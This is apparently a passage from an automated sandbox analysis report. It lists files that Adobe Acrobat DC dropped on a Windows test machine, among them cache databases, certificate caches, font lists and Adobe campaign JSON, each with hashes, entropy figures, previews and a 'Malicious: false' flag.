File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438407351572644
Encrypted:	false
SSDEEP:	384:ye+ci5GRiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:pdurVgazUpUTTGt
MD5:	93C86D27976639B87E08424529320BA0
SHA1:	C8A1D086D03B409109DFF02951EFA03F51AE8623
SHA-256:	ECFD22E820D1982B8C84C5E67DF4B1F235227B965CFBA64581463D31E64049E7
SHA-512:	C1555F91CBF4C18AB01D06D3C5C99F01983EB84058B42B3372B4A9FDE7D89A774B258D0C481B2952EC85201D135247725E3FCED23CBDF162A02AEDF2745D7D2B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.770017912161031
Encrypted:	false
SSDEEP:	48:7MYJioyV/ioyjoy1C7oy16oy1VKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1On:73Ju/t4XjBi2b9IVXEBodRBkn
MD5:	526A8301FC9696FEF9A4436FA01F3280
SHA1:	7A7CF2B6E238A141C83266D9CFD3ABF4F55241D9
SHA-256:	3DDA8548CC2C260F1DB3EF67A35D1C6CB03F12A8F5B92A543BEEDAEC3040A405
SHA-512:	5E803BC1586A3C660695EC4575E0E0F53BC3466291784C5B7419FC9A0795740A491F08138593EAAF466F13512BC1D6EF00C38A07EA0F6B8515D421B3C1B80493
Malicious:	false
Preview:	.... .c.......\|*...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkl9ggwltfllXlE/HT8krlJXNNX8RolJuRdxLlGB9lQRYwpDdt:kKpgQeT8slJdNMa8RdWBwRd
MD5:	A742C651F91F666F5E9FABF1604C20A4
SHA1:	8B17C15D493C310FB16ECC5B657CFF0048C83439
SHA-256:	88B90F140F00F9E4B5C29088B24AD37AED5F92C1AB33556092947480FA54D21E
SHA-512:	33FDA46F003C95D163CD5D01D4ED3CC121E95CDCBE959DBF1199E57BB8D02DB298F264A36C9D2FE5478BCE7BB50F06D441E14E90404D6D853890D7AED4B6BC9A
Malicious:	false
Preview:	p...... ..........O..c..(....................................................... ..........W.....E..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.1391791584200512
Encrypted:	false
SSDEEP:	6:kKC/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:KiDnLNkPlE99SNxAhUe/3
MD5:	81A7EA2046289A9ED5036A4D236E9C1C
SHA1:	6977B53DF58DD61162CF6F398107CA1827B20E45
SHA-256:	CCC5E013D71BBF7B8F47C1A779762516D4EF43E9A7CD983940DFA60DF0DD2A38
SHA-512:	3C9EE6DD1CC90539756E5395FDFBC3C485F5F3EE43FBAA186E6464D42553FF94AF758C3B8C8AF29ADD8E1DAC57586988C2840C401C8264495F0B2AC19D921BDA
Malicious:	false
Preview:	p...... ........_....c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8036

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8036

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.375425975236954
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcjNGIFDXmSg1c2LjcWkHvR0YE8UoAvJM3g98kUwPeUkwRe9:YvXKXQNGI0T5LjIPA8nGMbLUkee9
MD5:	9E8001EECC0C7E708ADF12A4A963C24A
SHA1:	932E504455DE7E4CB37E9A780201052454850A92
SHA-256:	C5F937565942C4A03217D5901CDA13ABB2E9E14E643F8BDFB55C59436AE17398
SHA-512:	61CC9C7CF0A9CB09763CF1BFB49E8F6685453FCB4893311C606F561A607C53BEC783C7552484ED566E5647DBCB6E589F72A728D66574FF8FFCCD4EB5BBC023BE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c55339-1be6-4603-8b7f-a5fe1fb9ff0b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758724384,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.325732638729537
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcjNGIFDXmSg1c2LjcWkHvR0YE8UoAvJfBoTfXpnrPeUkwRe9:YvXKXQNGI0T5LjIPA8nGWTfXcUkee9
MD5:	477894DF28AE85A322F3AA966DEA42D3
SHA1:	91240C157B57B15FF3EFCACFBA16224DCDCB6839
SHA-256:	2DD3FA34FE8E6210B5589CEC40A6AD3C17DC0A5ECFE89CC8B7793B2BC835FB5F
SHA-512:	BFF173AE8304F08E5C889B9173DC90973F05697CBA381D1E11DBD826DE71485F2758F49DEAAA17F1E08F19DCD8D9FD4898C742A87A725D24B2C2EA6A23235309
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c55339-1be6-4603-8b7f-a5fe1fb9ff0b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758724384,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.304727674124614
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcjNGIFDXmSg1c2LjcWkHvR0YE8UoAvJfBD2G6UpnrPeUkwRe9:YvXKXQNGI0T5LjIPA8nGR22cUkee9
MD5:	BEE4F579401198B95A21859E27F2CB75
SHA1:	34023F7E149A0DA79229D0E5A217A1C604248A71
SHA-256:	0352DDF628CACC8F8CD0C5A81AE40E309A41E30276B911D497EF09E28805928F
SHA-512:	3717B02542DE940FD1C17EA277B52430EA6A5434CFCA2CA6579017B3B474A9541B88305FE11D95233DF0479797004BD48DCCD690E0D4A47AD0D3EC5A3C16AD8D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c55339-1be6-4603-8b7f-a5fe1fb9ff0b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758724384,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.356851256529723
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcjNGIFDXmSg1c2LjcWkHvR0YE8UoAvJfPmwrPeUkwRe9:YvXKXQNGI0T5LjIPA8nGH56Ukee9
MD5:	4D81EF68C2C2A66200C9D13343B7C9CD
SHA1:	CBF7C0860DBFBC9A1E6FADD41B919BEE9AB025BF
SHA-256:	2F07773C4DE0818B45FEC18758BAB132486580A8F242CC2340E264D22DE8EB95
SHA-512:	CCF638CAA5E045B4544DDCE3EC0F50B903F015B045904DBB5EDF31485F27762A26ADB153C4DA743D9CCFF5DCAC800B1FB692A23AD16520A245BE0A8F3A286C0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c55339-1be6-4603-8b7f-a5fe1fb9ff0b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758724384,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.69848814865176
Encrypted:	false
SSDEEP:	24:Yv6XQ2T5XIY8spLgE9cQx8LennAvzBvkn0RCmK8czOCCSg:YvXuXOshgy6SAFv5Ah8cv/g
MD5:	26431C271958EB9F567CA5145F627E29
SHA1:	674A818765B7199499A467929EE2402D85815EA5
SHA-256:	6AC638E0649F3382FC730BD567EBA10D961A056FA08EA308EF6E666EB04E8634
SHA-512:	0E6F2800266BA246713CCA42CDE1BBB0C7423A3BCFCC8F42FF60DE79CF068529EB7A06AB08B499A7595E08D875A7D944C6CD63A1BBB615ED925407AEB4EA91FF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c55339-1be6-4603-8b7f-a5fe1fb9ff0b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758724384,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.331667070224021
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcjNGIFDXmSg1c2LjcWkHvR0YE8UoAvJf8dPeUkwRe9:YvXKXQNGI0T5LjIPA8nGU8Ukee9
MD5:	13A9F0D4172ED4DB7E8C817A4337AC6D
SHA1:	F3FBAD82E42F2C61958310C4EA7721A60912D28B
SHA-256:	2DF3698DD40B6580BB4DC7EDEE746ADE2C10F86F616C3B7BE9AB4F7BE8DCE383
SHA-512:	4DB850E0B4B5BA313DE102D6BE8207D48AEE54BC1E46678340D8A213E5D88A8269483ED6E3B8D1E13B95D2B4FC35D30D4F07C479C9509345EA87537A3610BA77
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c55339-1be6-4603-8b7f-a5fe1fb9ff0b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758724384,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.322571579408315
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDcjNGIFDXmSg1c2LjcWkHvR0YE8UoAvJfQ1rPeUkwRe9:YvXKXQNGI0T5LjIPA8nGY16Ukee9
MD5:	AF4BEFDBD795FDF38AAF916519BA0C84
SHA1:	3309B07841A4CA38BBA05CA2BEF7044BF391C22D
SHA-256:	9250840C670B5A5E67B21584043699B80D36D56B0B783989560263BBD3E167D7
SHA-512:	081C94076F67A43AC6CF4FBCCD75451687ADA99C19E8466B2C82C46B78ED645429457D07B99233F156409CA66C51DA5E052A4792752C857119FFEAE4F6FCD6A0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"49c55339-1be6-4603-8b7f-a5fe1fb9ff0b","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736758724384,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
